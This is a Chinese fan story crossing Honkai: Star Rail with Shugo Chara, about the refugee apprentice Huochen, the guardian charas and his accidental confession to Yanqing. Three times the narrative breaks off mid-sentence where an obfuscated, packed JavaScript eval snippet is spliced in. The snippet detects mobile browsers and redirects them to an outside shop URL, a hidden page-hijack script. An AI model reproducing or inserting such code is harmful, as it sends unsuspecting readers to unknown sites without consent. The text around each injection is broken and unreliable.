《[崩铁]形象改造后跟彦卿表白了》 1. 罗浮常有燕飞过 火尘很早以前就见过彦卿。 在地衡司排队办身份证明和暂居证时,因为同行的流民很多,队伍都排到了门外边,他缀在队伍末尾,望着远处的巨树走神。 巨树冲天,没有叶片,光秃秃看不到顶的枝干边流转着金灿的符文。 他眯起眼仔细瞧,看不清楚;就算能看清楚大概也看不懂——他不认得仙舟文字。 “那是‘建木’。” 来了半个月就自封“仙舟通”的同乡得意洋洋介绍:“据说是丰饶遗迹,本地人描述它‘攀揽穹窿,垂挂辰宿’。” “哦。” “……你不问我那句话什么意思吗?” 火尘没问,他依然仰着头,从头到尾都不怎么理人,此时开口也显得突兀:“那是什么?” “都说了是建木啦……”同乡顺着方向望过去,一时语塞,因为他也不知道那是什么。 一个东西速度极快地从建木前闪过,抬眼看去时无从辨认,只能看见一弧蓝紫色、仿佛拖曳着星尘的流光。 旁边有人告诉他们: “那是彦卿大人。” * 正午,地衡司。 「火尘,短生种,星球毁灭后被救助接引至仙舟罗浮,在罗浮居住两年有余,现就职于工造司。」 地衡司执事看看信息表,敲敲桌面,试图唤回明显在走神的少年,表示他们正在进行很严肃的谈话: “你为什么会出现在那里?” 对面的少年人生得一副好相貌,双瞳橙红如火焰,黑长发草草束好,依然桀骜不驯地炸开,面色苍白又没什么表情,初见时竟让人有些发怵。 “散步。” 当然现在就只剩无语了。 “你再想想呢,小友,”执事试图再努力一下,“按照那些学徒的说法,你在事发之前绕仓库一大圈,把所有在附近逗留的人都骗走了,然后……” 然后“轰”的一声,仓库屋顶就破了个大洞,但因为对面孩子提前清场,事发时现场根本没有人,也就无人受伤。 无人受伤是好事,但也相当神奇。 执事心里嘀咕,拿起信息表又看了一眼。 仙舟人生活富足,修个屋顶也不算什么大事,更何况是在能工巧匠聚集的工造司。只是事情既然发生了,不查个清楚总叫人心里不安。 他们已经第一时间调取了机巧鸟录像:屋顶像是从内部受到巨大冲击力,被硬生生冲破的;却看不见什么有冲击力的东西,只有空气而已。 工造司在盘查是不是哪个工匠弄出的实验事故,地衡司这边把人叫来倒不是追责,只是想着这孩子大概知道点线索…… “我不知道。” 谁想却是油盐不进。 “孩子,”他得让这人意识到事情的严重性,“我们都是相信你的,但你要知道,你把所有在那号仓库附近停留的工匠都叫走了,那么频繁往来仓库的你就是嫌疑最大的。” 少年沉默半晌,回:“我是短生种,坐牢可以打折吗?” 执事无语凝噎:不想坐牢的话你倒是辩解一句啊! 没人觉得是这孩子做的:一来他一个半大孩子,看上去还缺乏锻炼,不太可能有冲破屋顶的气力;二来资料显示他半月前才进入工造司,实验事故大概也轮不到他;三来机巧鸟监控系统确实什么都没拍到,房顶下只是空气。 他累了,这案子就像灵异事件,灵异要靠灵异来解释:“你有什么特异功能吗,像是未卜先知什么的……” 少年否认:“那是太卜司,我是工造司的。” …… 他不愿再开口。 “我可以走了吗?工造司还有活儿堆着。” 你陪我一起躺尸吧,仙舟上的活儿都给谛听干就好了。 少年在安静等他回复,他爬起来,刚准备说话门就被推开了: “打扰。” 来人并未身披银铠,依然看得出是云骑军打扮,肩上三只银燕子和醒目红绳昭示着身份,金发金瞳映着室内烛火明亮非常,向他颔首致意: “这个案子已经移交给彦卿了。” * 彦卿,轻燕。 被彦卿从室内带出来时,火尘还在盯着他肩上的燕子装饰和飘带看——流云纹,在仙舟象征吉祥如意。 “是、火尘先生对吧?” 对方转过来面向他,看不到飘带了,火尘“嗯”一声,开始看对面胸口的长命锁——象征长命百岁、仙舟人的话,千岁? “先生?先生?” 彦卿已经叫了他三下,他想着为表尊重还是抬头看看人家好,一抬头又看到彦卿左耳上的漆黑耳钉——象征驱灾辟邪,小儿已经破相,求阎王莫要再收去他的性命。 “火尘先生是公输师傅的弟子呢,那叫你火尘小师傅好了。” 出了地衡司,彦卿似乎放松了些,言谈之间相当自来熟,一边翻他的背景资料一边搭话,还冲他笑了一下。 金灿灿的少年大人物连笑容也是金灿灿的,好险没闪瞎他睡眠不足的眼。 他一板一眼回:“是,彦卿大人。” 彦卿在云骑军中职级很高,他偶尔听人闲聊也知道一些,却不知道高到可以把地衡司办到一半的案子挪到自己这里来…… “可不是彦卿挪的,你这个案子按类别分本就在彦卿职责范围内,”他居然就这么说出来了,对面好脾气地向他解释,“在‘守护者’职责范围内。” 守护者? “小师傅在现场可曾见得,”彦卿不啰嗦了,伸手比划,“这样大小的蛋?” “通体漆黑,中央有一把白色的叉号。” 火尘一怔,听完描述抬眼看看彦卿,终于点头。 对面绽出一个大大的笑:“太好了!那你一定也有‘守护甜心’吧!” 守护甜心…… 火尘微仰头,看见一个缩小版的彦卿坐在彦卿头顶,两手抱着彦卿呆毛,和本体一起冲他笑。 他沉默,掏掏自己口袋,摊手,一个巴掌大的蛋躺在手心。 * 长乐天并不是什么说事情的好地方,这里是居民区,人来人往,隔得老远能闻到小吃摊的香味,还能听到有人传统又卖力地吆喝着“修理星槎”。 彦卿带他到了长乐天边缘一家书店——“三余书肆”,而后递给他一本绘本。 他看得清楚,那绘本是从“幼儿”区域拿的。 “……彦卿大人,我十五了。” “我知道啊,”彦卿答得理所当然,“仙舟人一般两百岁成年。” 好像被笑话了。 “我十四,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326770|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这个呢。” …… 你也看,那行吧。 三余书肆不大,昏黄的灯光毫不费力照亮整个空间,十分温暖。不知年龄几何的小老板坐在柜台晃着腿看书,彦卿倚在离他不远的书架边,留给他一个安静的背影。 他放松下来。 绘本的内容很简单: 「每个孩子心中都有一个蛋,洁白无瑕,是孩童至纯至真的愿望;从心灵之蛋中诞生的守护甜心,代表孩童理想中的自己。」 理想中的自己…… 火尘抬头瞄一眼:缩小版彦卿正踩着彦卿脑袋,拖拽彦卿的呆毛,像是撒娇又像是吵闹。彦卿头没动,只抬手揉了一把,小家伙嘀嘀咕咕挪回原位。 火尘懂了: 是宠物。 「但偶尔,当心灵之蛋的主人遭受重大挫折、对自身产生怀疑时,心灵之蛋就会黑化变成坏蛋。」 坏蛋? 下一页画了坏蛋的形象,通体漆黑,中间是白色的叉。 火尘了然。 彦卿想的不错,他那天确实看到了这样的黑蛋,破坏力惊人,喊叫着“讨厌天才”什么的就把房顶冲破了。 只可惜当时除了他没有一个人能看到,也没有一个人信他,他担心出事,只得编些谎话把大家哄走。 “为什么其他人看不到?” 出来了,彦卿还在回身和书店老板告别,缩小版的彦卿抢答: “大人是看不到的!” 这句话其实并不能解释火尘的疑问,不如说还衍生出更多问题:为什么大人看不到?“大人”是多大的人?长生种怎么算,判断标准会随寿命长短发生改变吗? 但是巴掌大的缩小版彦卿大人满脸认真,高高举手,答完还飘到他面前一副“我是不是很厉害”的骄傲样子……非常可爱。 他学彦卿上手揉了揉,没继续问。 “要说原理的话,还不是很确定,只摸索出了点规律,”倒是彦卿听了回复他,“粗略来说:开蒙前的孩童都可以看到,已经工作的成年人都看不到。在两者中间,心灵之蛋具现化出现在身边的甜心持有者也可以看到。” “比如你?” “对,”彦卿点头笑应,“还有你。” 彦卿说给新生的甜心持有者科普这些是他的工作,毕竟看到的世界和别人不一样这点,对一般孩子来说还是有点吓人了; 彦卿说处理坏蛋是守护者的工作,他是这代守护者的领头人,所以现在要返回事发地看看有没有什么线索; 彦卿还是云骑骁卫,日常巡逻斩杀孽物也是他的工作。 火尘平常习惯慢悠悠地走,现在陡一下跟不上前边人快走的速度,走久了终于忍不住拽住那截在他眼前摇来晃去的长飘带。 他喘口气,忍不住吐槽:“上头给你发三倍工资吗?” 彦卿看他喘气伸手扶住他,听见问话有些迷茫,还是顺从思考:“好像有?” 他还没来得及痛心疾首,就听人继续说:“没有也没关系。” 啊? “斩杀孽物是为了保护大家的命,”彦卿给他拍背顺气,“净化坏蛋是为了保护大家的心。” 然后又笑了起来,那一瞬间,他看见这个人眼中温柔明亮的世界: “本来就是一件事嘛。” 2. 黑化心灵之蛋 没人知道本该被云骑清扫干净的区域为什么会突然出现一头大猩猩。好在这里除他没别人,火尘就近跳入海中,一边在水下挪一边祈祷丰饶孽物都是旱鸭子。 而海水却在移动中越变越冷,冷得像是要冻伤人的骨头,反应过来周围真的结冰时已经动不了了。 动不了,也要动。要不就等死。 火尘抬头…… 铿! 有什么东西正从他上方直直扎进冰里,快且准地避开他破冰。又是好几下,冰层碎裂,他勉力伸出一只手,被人握住拉出来。 太阳、冰,白光眩目。 “实在抱歉,怪彦卿贸然出手,伤到阁下……” “我先带他去找医士……” 有人给他披上衣服,拉着他的手往身边带,不停道歉。他恍恍惚惚,像被冻坏了脑子,只依稀感觉自己靠在谁身上,满眼皆是耀目的白光。 丹鼎司近海目之所及处都结了冰,廊道挤满围观欢呼的人,握拳砸下的大猩猩连同溅起的水花被冻得很艺术。 而后他恢复了一点知觉,转头,看见金色的头发、金色的眼睛。 少年的掌心温热。 * 早上醒来时,心里空落落的。 火尘在床上打个滚,转头,蛋就在他眼前。 那天跟着彦卿大人去现场,除了观察一会儿大洞的形状倒也没做别的什么,只临走时彦卿叮嘱他: “甜心持有者遇到坏蛋的可能性比一般人高很多,你的蛋还没有出生,像现在这样保全自己就是很聪明的做法。” “而且还保护了那么多无所觉的工匠,真厉害呀。” 他觉得彦卿大人在哄小孩,但他没有证据。 “万一碰到坏蛋没法还手,就马上联系我,也可以联系附近的守护者,大家都很乐意帮忙,唔,我拉你进群吧,放心,群里不强制交流的……” 那个人年纪不大,忧心的事情倒不少。 火尘打个哈欠,踢着拖鞋往外走,一头长炸毛经过一晚被睡得乱七八糟,像只大刺猬。 守护甜心、守护者、理想中的自己…… 他吐出口刷牙的沫儿,看向镜子里的人:顶着刚睡醒的长炸毛,厉鬼一样的红眼睛,一张今天死还是明天死的厌世脸。 结合彦卿本人和他脑袋顶上那个天真无邪的形象,“守护甜心”大概是相当温暖、甚至梦幻的概念。 他很难理解这种“温暖梦幻”。 所谓理想中的自己,如果和现在的他相似,多出一个自己会让他很不自在; 但如果和现在的他完全不一样,他又会觉得“这家伙凭什么占我的理想位,我现在就很好啊,要我把现在的自己否定掉吗?” 麻烦死了。 “你还是不要出生好了。” 他戳戳床上的蛋,蛋壳通体同坏蛋一样漆黑,缀有火焰状的花纹,微小的光点细细分布其上,像是在黑夜里发着细碎的光。 他再戳一下,蛋陷在被窝里,没有动弹。 不出生,至少花纹好看,可以放桌边当个摆件;出生了,就意味着他要和一个类人生物密切相处,不知道要有多麻烦。 他就听过彦卿大人喜欢玩娃娃的传闻,虽然现在证实了那人只是在给自己的守护甜心买衣服。 怎么跟养小孩似的? 火尘一边吐槽一边把蛋揣进怀里,出了门。 工造司负责仙舟上所有物件,对,是所有物件的生产,所以一般情况下少有工匠有固定工位,工造司的活儿在哪里,人就在哪里,就连学徒学习也多是跟在老师傅身后实地观摩。 火尘例外,其一他是新来的;其二工造司有一样活儿离不得人,大家又都不爱做,就分给了他。 “一百年保修期?你能找到一百年前的单据吗?找不到不如换个新的,我们工造司最近新推出的……” 没错,就是客服。 “我不负责这一块,我记下这需求,回头看有没有人做好吧。” 照理说,仙舟科技这么发达,已经不需要这种相对落后且低效的人工客服了。 但仙舟人不一样,作为长生种,他们有意无意地保持着几百年不变的生活方式,哪怕这个职业的性质已经发生了改变。 “你儿子好久没回来了……您试试看有没有别的办法和他联系,我这边……啊?他在牌馆?” 没错,就是陪聊。 尤其是上了年纪的仙舟人,仙舟人不愁温饱、生活富足,于是越闲就越想找人聊天。 工造司的工匠大多为学习工造机巧而来,尽是些痴迷技术的研究狂人,少有人乐意把时间花在这种事情上。于是这活儿就落到他一个新人头上。 火尘坐在工位边,接通讯接到生无可恋,好不容易挂断一个,仰头发呆。 他倒是不介意干这种活儿,烦是有点烦,不过也只是有点。 他现在是在烦另一件事:他的守护甜心到底什么时候出来? 彦卿说,愿望强烈但却不够明晰、或者本身处于艰难抉择的纠结阶段,就容易出现他这样的情况,有蛋孵不出。 他倒不是着急,只是那个蛋一直存在,又一直没新的动静,这样悬而未决的状态令人不安。 因为他的蛋正好出现在自己攒够拜师礼的那个晚上,也就是入工造司的前一天,他也就顺理成章地想过,“兴许自己的理想是成为一名大工匠”,但这个想法一出就被马上否决。 他来工造司,只是因为他喜欢公输师傅,公输师傅给他提供了这样一条路,他就顺着走了。 彦卿的理想大抵是,“成为最强的剑客”? 只是他从上次那个小家伙身上看不到多少实力,只看到缩小后漂亮干净得十分突出的一张小孩脸。原本彦卿大人皱起眉头板起脸凹出的那点威仪,在理想中的自己身上却全然找不见,也是叫人费解。 理想中的自己到底是什么? 很快他就有问的机会了。 “火尘,你的蛋呢?” 腰后挂了两柄相同制式的剑,手里还抱着三柄,被剑衣包着看不出制式,一来就超级自来熟的彦卿大人抱着剑趴在柜台上,眨巴眼睛看他。 他之前没说过,其实他很喜欢彦卿大人的脸,救命恩人圆圆的浅金色大眼睛看着干净又无辜,叫人离得远远的一瞧见就高兴起来,连班味儿都淡了几分。 彦卿顶着这张脸提要求,大概很少被拒绝。 他默默摸出自己的蛋。自在也从彦卿身上跳下来。 一大一小两个金瞳围着蛋皱起眉头。 “怎么了?” “火尘,你确定这个蛋是半月前出现的?” 火尘不明所以:“是,半月前,我早上醒来,就看见被窝里有蛋……”但彦卿这么一问,他也不确定了。 “奇怪了,”彦卿撑下巴思考,“看它的状态,应该在更早的时候就已经出生了。” 这是怎么看出来的?花纹?能量波动? 火尘有样学样趴到桌上,什么都看不出来,倒是看见对面人像是觉得趴桌上和人对望很有趣,又冲他笑了一下。他急忙爬起来。 “怎么了?” “……没事。” 彦卿大人记得我吗? 他斩过那么多孽物,救过那么多人,应当是不记得的。 彦卿疑惑,他陷入莫名的尴尬,而彦卿的守护甜心已经围着蛋转了好多圈,突然大喊一声:“啊!” “怎么?”两人齐声问。 “它动了一下!” “动了一下?那就是快出生了咯?”彦卿注意力又回到蛋上。 火尘盯着蛋看一会儿,没见动静,抬头:“是不是看错了?” “绝对、没有!” 彦卿没看到,也不专站谁那一边,此刻像棵两边倒的墙头草:“许是多心了?总之迟早要出生的。” “没、看、错——”守护甜心生气了,跳上彦卿脑袋,像水手掌舵一样抱住彦卿的呆毛来个左满舵,耍赖口气,“我真的看到了!你看嘛,你看呀——骗你是小狗!” 彦卿无奈,把小家伙捞下来细声细语哄。 火尘不理解。 理想中的自己到底是什么?怎么彦卿大人的是这样的? 他把蛋揣回口袋,坚定信念:你还是不要出生了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326771|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口袋里,蛋壳表面红光一闪而逝,伴随两下极轻微的晃动,又恢复平静。 闹了半天,火尘的问题并没有解决。 倒是彦卿冷不丁冒出来一句:“火尘小师傅,你的理想会和那个有关吗?” 那个? “就是两年前你手上捧着的那个。” 两年前的事谁还会记得。火尘不知道他讲什么,但:“……彦卿大人,你记得我啊?” “是啊,当时……”彦卿还待细讲,一顿,抬头。 嘭!哐当! 和上次一样的声音!火尘猛回头,锁定方向: “造化洪炉!” 手臂一重,再回神时,他已经被彦卿抓住一只手在天上风驰电掣,直直赶往发光的炉心,冰蓝浅紫的光在身周流转交织,晃得他睁不开眼。 一如两年前在冰下。 “到了。” 他还有些晕乎,就地坐下缓缓,才看清眼前的景象: 炉子没事,坏的是右侧的升降梯,机枢被蛮力破坏,升降梯摔到最下面四分五裂。 火尘趴边缘看看,底下有两三个工匠闻声而来围观梯子,似乎没人出事。 “得庆幸刚好没人在了。”彦卿掌心放在他后背,助他平复气息。 造化洪炉是工造司的机要物件,据说关押了无形的星火之精,一旦脱出实难追捕。 “除了日常检修少有人会过来……” 所以,洪炉之下摇摇晃晃的高大身影实在很突兀。 “云骑?”而且只有一个? 那身装束好认,彦卿眉头一皱,“你是哪个小队的云骑,何故出现在此?” “若是巡防岗哨,应当遵循两人一组的原则……” 彦卿说到这里不说了,因为他看到那个人摇摇晃晃着转身,向他行了个邀战礼,与此同时,脑袋边冒出个漆黑的蛋。 火尘一惊,刚想说话,就见彦卿右手“唰”地亮出一柄长剑,身周三柄飞剑却调转方向到了他身边,呈三足之势将他围住,像一个小型阵法,隔绝外界一切危险。 飞剑在他面前上下摇摆,似乎在友好打招呼。 火尘:哦。 他是啦啦队,他知道。 少年骁卫抬手回礼:“彦卿,接受挑战。” 现下能御六剑的小天才只剩下三柄飞剑在身后,还带着一个拖油瓶,越发显得形单影只、瘦弱可欺。 对面受黑化心灵之蛋影响的云骑霎时变得格外愤怒: “天才……” “天才……” “去死!” 手持长枪的高大云骑几步扑上来,随后是冷兵器交锋的铿锵声。 火尘知道彦卿的飞剑全称叫“工造司真气操作浮游单位”,倒也不算冷兵器。只是这人现在飞剑不用,舍弃远程攻击的优势,转而在“一寸长一寸强”的近战中用剑去打长枪…… 火尘不知道彦卿怎么想的,但显然对面的云骑更加生气了。 “啊啊啊啊!!” “啊!啊!” 发狂的云骑被击退,又冲上来一通乱刺,彦卿接连闪避,瞅准时机一个翻身跳上枪尖,长剑在手,直指对面咽喉。 云骑怔愣一瞬。 场面很安静,火尘望着这边眼也不眨,周围的飞剑晃动两下,像是欢呼。 彦卿收剑落地,垂头看着因为对面愣神松开滚落地面的长枪,抬头问: “这是你引以为傲的枪术?” 云骑面目变得狰狞,但还没等他开始新一轮愤怒,就被人瞬息拉近距离打晕,黑蛋也被牢牢攥在手里。 飞剑回到彦卿身边化作光点消失了,火尘起身走近几步,停下,看那人剑一样笔直的背影。 他才注意到彦卿的衣摆。此前只觉得裁成燕尾长短不一很有新意,流云的纹路寓意也很好。今日才注意到长的那截居然有这么长,从腰际垂到脚踝,末端还缀着蓝白色的漂亮穗子。 太长了,只要稍微泄力没站直,穗子就要落到地上,像某种若有若无的训诫,叫彦卿无论何时都要站得笔直。 严格得吓人。 他居然有那么一瞬间不敢过去了。 3. 形象改造,社死现场 又是早上。 又是一晚上的噩梦,又是厉鬼一样醒来。 火尘踢着拖鞋到阳台,没骨头一样侧脸趴到上面,左手挂在栏杆外,带着空荡荡的睡衣大袖子晃啊晃。 要死了。 啊,活着就是要死;死了不一定能活;不活够好像很划不来……我活够了吗? 火尘不知道,大概没有吧。 昨天也没待到最后,彦卿转头看他时神色如常,问他要不要去看看坏蛋的治愈过程——目前只有丹鼎司的龙女有这个能力,把黑的变回白的。 他推脱说还没到下班时间,下回有空再看,彦卿就扛着人带着蛋走了,然后他坐在工位上发了一下午的呆。 所以说…… “早上好!火尘!” 那个彦卿大人的理想自己怎么会是这个样子的? 小小彦卿飘上阳台,绕着他转了两圈:“你怎么了?生病了吗?我记得短生种是很容易生病来着。” “没病。” 他起身往里走,小家伙自来熟跟上,到桌边又跟盒子里的蛋打招呼:“早上好!” 蛋似乎晃了一下,火尘仔细去看,发现是没放稳。 小小彦卿着急忙慌按住蛋,板着脸抱起比自己还高的蛋,慎之又慎地挪两下,扭头问他:“稳了吗?” “……你放下,我看看。” “哦好。” 小家伙迅速撒手,升到正中间观察,刚好挡住他视线,叉腰点头:“完美!” 火尘:…… 我是说我看,不是你看。 吐槽好累,还是不吐槽了。 “对了,我有名字,我叫自在!”守护甜心转过身,笑容灿烂得和彦卿如出一辙。 自在? “不要拿主人的名字叫我啦,主人的东西就是主人的。” 火尘一手撑脸,另一手去戳人家,看小家伙被戳得在空中翻了个跟头:“可你简直像是幼年彦卿的翻版。” 初见时,他还以为见到了仙舟语里“玉雪可爱”“粉雕玉琢”的视频词义解释。 被他戳这一下,表情就从懵圈到气鼓鼓再到认真严肃,生动得不行。 他实在很喜欢彦卿的脸。 “守护甜心是心的力量,因为主人对自我的认同感很高,所以我才完全长成了他的样子。”自在放下被戳的私人恩怨,一本正经解释。 看来彦卿也很喜欢自己的脸。 “你不待在彦卿身边没关系吗?”他回房间换衣服。 “没事啊,都说了是心的力量了,”小小的守护甜心没有任何避嫌观念地跟进房间,自顾自讲得高兴,“彦卿非常非常相信我,就算我离远了,他也会远远想着我,所以没有关系!” “不相信会怎么样?”他套上制服,重新绑头发。 “不相信的话,守护甜心就不会存在了!” “那我的蛋早就该不存在了。”毕竟他没感觉自己有坚定地相信什么东西,也没有什么强烈的愿望,这些概念都是彦卿出现后带给他的,此前从未想过。 “才不是!”自在皱起眉头跟他理论,振振有词,“每个孩子都有蛋,显形了更说明肯定有,没有的话根本就不会显形。” “你这样说,他听到该伤心了!” 火尘穿好衣服才想起来今天放假,这会儿听明白话里的“他”是指自己的蛋,一句“关你什么事”还没说出口,抬头看向怒气冲冲的守护甜心,顿住。 金发金瞳、白衣长剑、飘在空中,跟彦卿近乎一模一样,却因为过小的体型和进门后就没停过的说话声,少了昨日那股突兀的距离感。 他承认自己昨天有些望而却步。 彦卿的说话腔调带着本人无自觉的温和亲近,趴在桌上和他对望时又离他那么近,好似他们之间的距离真就只有那么一点点,只要他想就可以再靠近些; 但距离一近,就会看见那个垂到脚踝的穗子,严格、优秀、一丝不苟,让他不可避免地想起彦卿的各种称号,想起在水下冰下见到的那一剑——粉紫蓝的冰光交织成一场绚丽的幻梦,落在他眼底,两年过去记忆犹新。 那时候彦卿在他眼里,比起人,倒更像是神。现在也一样。 神是只可远观的。 但眼前这只小的是可以搓圆捏扁欺负的。 “你、要干什么!说的都是大实话!不听好人言,吃亏在眼前……你你你!” 没等话说完,他就把小家伙抓到手里狠狠揉了一通,揉得人家满脸通红吱哇乱叫才松手。 守护甜心挣脱魔爪后第一件事就是飞高高,托着自己被揉痛的腮帮子低头威胁: “你完了,我要跟彦卿告状!” 神一样的彦卿大人,理想中的自己居然成了天底下最会告状的小孩。 火尘靠着几十倍于对方的体型占了压倒性的上风,心情大好,嘴一咧就是几十倍的欠打程度:“你告啊。” 守护甜心气得扑上来要咬他,都要下口了,又硬生生停住,只气鼓鼓道:“……算了。” 这就算了? 火尘晃晃手:“给你咬?” “不咬,”自在伸手用力拍了一下他指尖,当作替代,“咬伤了就不好了。” 熄火怪快的。 守护甜心再怎么用力,体型摆在那里,他不痛不痒,继续嘴欠: “比起咬伤我,不如担心你自己崩了牙。” 自在空中跺脚:“你这个人好烦啊——” 对面气呼呼,火尘心情舒畅。 他现在真的很好奇,守护甜心和本人的差别究竟能大到何种程度,昨日见过面的彦卿大人,虽不至于喜怒不行于色,却也看不出这样大的情绪起伏。 很有趣,很好玩,很可爱。 他索性问起正事:“今天我休假,彦卿大人是叫你来传话对吧?”他们还没有交换联系方式。 “对,”自在又一次大度地放下私人恩怨,心大得可以,趴他脑袋上念念叨叨,“他想给你介绍几个守护者,这样以后你碰上坏蛋就可以找别人帮忙。” “他很忙,不能一直在。” 云骑骁卫毕竟不是虚职。罗浮还没有完全安定下来,彦卿就会一直一直忙,斩杀孽物、维护治安,各种事情。 那股距离感又出现了。 火尘怔愣一瞬,这次很快回神:“去哪儿见?” “他今天两万下还没练完,他说练完来接你,先去见白露大人。” 两万下、接、白露……丹鼎司的龙女,据说能够治愈坏蛋的人。 “我去找他好了。”他顶着彦卿的守护甜心,带着自己的蛋,出发前往神策府。 然后在府外随便找了个位置坐下。 神策府是军机要处,想也知道进去要通传。又不是什么要紧事,等一等也无所谓。 自在飘在空中和自己的小剑玩:“说了要你在家里等嘛。” “不好。” “哪里不好?” “不好麻烦人家来找。” 自在不太理解:“你还真客气。”彦卿御剑找人分分钟的事,火尘从家走到这里都走了好一会儿。 火尘想了一下,觉得没什么不能说的,就说:“彦卿大人是我的救命恩人。”所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326772|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以客气点才好。 自在:“嗯?” 他飘回火尘面前,拧眉观察这张脸,终于想起来:“啊!” “你是两年前差点病死的那个小孩!” 病死? “你被救上来之后病了好久吧,还是短生种,彦卿可愧疚了,天天跑丹鼎司看,觉得都是因为他不仔细,一剑下去差点冻死人……” 火尘沉默,他不知道后续还有这么一段。 但他本来就经常生病。 他的故乡在毁灭之前已经爆发了经年的战争,家人在时还好,家人不在后火尘就饥一顿饱一顿地跟着人群辗转逃窜,身体不好才正常。 而且他隐隐有种感觉:正是持续不断的战争为那个小星球招致了真正的“毁灭”。 他摇头,把思绪扯回现在,想着下回要跟彦卿说自己生病不是他的问题,扭头就看见自在没等到他接话已经转向别人。 桌对面坐下一个人,很眼熟,是工造司出了名的恋爱脑小聪,火尘见过他几面,上次见面是在听这人说为了求爱要离岗的时候。 进展似乎很不顺利,小聪坐下就开始撕花瓣,沉浸在自己的世界里:“她喜欢我、她不喜欢我、她喜欢我……” 火尘满头黑线。 “他每天都会坐在这里,”自在习以为常见怪不怪,并且对“喜欢”提出了自己的见解,“喜不喜欢的,自己看就好了,问花干什么。” 小家伙环顾四周,像是寻找目标,最后定在离自己最近的人,语气相当之自然笃定:“你喜欢我。” 火尘:??? “谁说的?” “那你喜欢彦卿。” “没、有!” “你不喜欢吗?”小家伙飘在空中,两手交叉在脑后,笃定且悠哉,“你明明就很喜欢。” 嘶——小自恋狂。 火尘是个铁石心肠的人,不愿意惹上任何麻烦:“我们连朋友都不算吧。” “不算吗?” “当然不算,我才认识你两天,好歹得再过一段时间,了解加深再说……”正常人交朋友都是这样的。 自在:“你嘴硬,我不信。”如果不是长得可爱体型又小,简直像不知道哪里来的迷之自信的霸总。 火尘:…… 多么高度的自我肯定,彦卿大人的理想是成为自恋狂吗,现在这样不好吗,成为自恋狂之后我肯定会疯狂吐槽…… “不算吗?” 他没好气,背过身:“不算!” “真的?” “都说了——” 像是被掐住嗓子,火尘回头,看见不知几时出现在小自恋狂身边的人。 是彦卿。那双金瞳正注视着他,因为快速眨眼,眼睫不安地抖动,很好地传达出了不该出现在这人身上的迟疑和忐忑: “……不算吗?” 他不回答,所以彦卿又问了一遍,语气也越发迟疑,呆毛耷拉下来,甚至显出几分失望和委屈。 ! 算、算的! 你不要露出这种表情! 好像一见到彦卿他就开始慌,脑子一片混乱,越乱火尘越不知道怎么开口。 乱七八糟的想法揪成一团,人也僵住,口袋里一直没动静的蛋却突然发烫了。 很烫,像是有火在烧,热度直冲大脑,一瞬间像是听到两股心跳,催促他无视自在惊诧的神情,几秒内自扇嘴巴子,不受控制一样对彦卿大声回答: “算!” “对不起!我乱说的,彦卿大人,我很想和你做朋友!” “我最喜欢你了!” 4. 彦卿是个人很好的人 安静。 火尘不知道为什么会这样,恢复思考能力后,他明白一个事实: 他社死了。 年纪小小的云骑骁卫大人才委屈一小会儿,就呆住了,而后脸“腾”一下红透,手一动召出惯用剑,又呆住,收回去。 一副惊恐到不知道在干嘛的呆瓜样子。 火尘喉头哽住。 「角色火尘受到20点伤害,当前血量80。」 他好想死。 小聪捏着自己已经数完花瓣的光杆,眼睛嘴巴无声地摆成了“O”型,在他转头时识相跑走。 他生无可恋。 就背过身,慢慢挪两步,缩到墙角的快递盒堆里蹲下,一边用玉兆请假一边试图缩小存在感。 他明天、不对他接下来一周,都不能再出现在彦卿大人面前,那么就不能去工造司上班,一周应该够忘掉了,实在不行就一个月,他实在不想…… 身后传来小心靠近的声音。 彦卿的脚步声很轻,但身上装饰很多,他能根据清脆的铃铛声判断对方现在站在哪里。 停住了,在他身后,不超过一块地砖格的距离。 似乎是冷静了些,少年开口,学着大人口吻,磕磕巴巴、认认真真: “多、多谢先生抬爱,但彦卿暂时不考虑……” 停! 停停停! 莫名其妙表白就算了…… 莫名其妙表白遭拒是怎么个事! “彦卿大人其实那不是我说……!” 「角色火尘受到30点伤害,当前血量50。」 他预备起身跟彦卿解释自己不受控制的事情,一下跳起来,蹿到一半头顶传来尖锐的痛感,痛得他又蹲回去,捂头倒吸气。 彦卿看样子被他搞得有点懵,但迅速蹲下,探过身要查看他头顶的情况。 他蹲着转身面向彦卿,捂着不让看。 很负责任的骁卫大人无奈停手:“火尘,我看看。” 他不理,捂着头往角落里又缩了缩,龇牙咧嘴问:“我撞到什么了?” 彦卿抬眼看一眼,告知:“好像是快递箱的角。”顺手垒好,又蹲回他旁边。 快、递、箱? “有一个没摆好,突出来了,你应该是撞到角了。” 你说我撞到纸箱子的角,就痛到像是被撞成脑震荡? “守护甜心的锅。”他肯定。他以前绝对没有弱成这样。 “不对哦。”彦卿摇头。 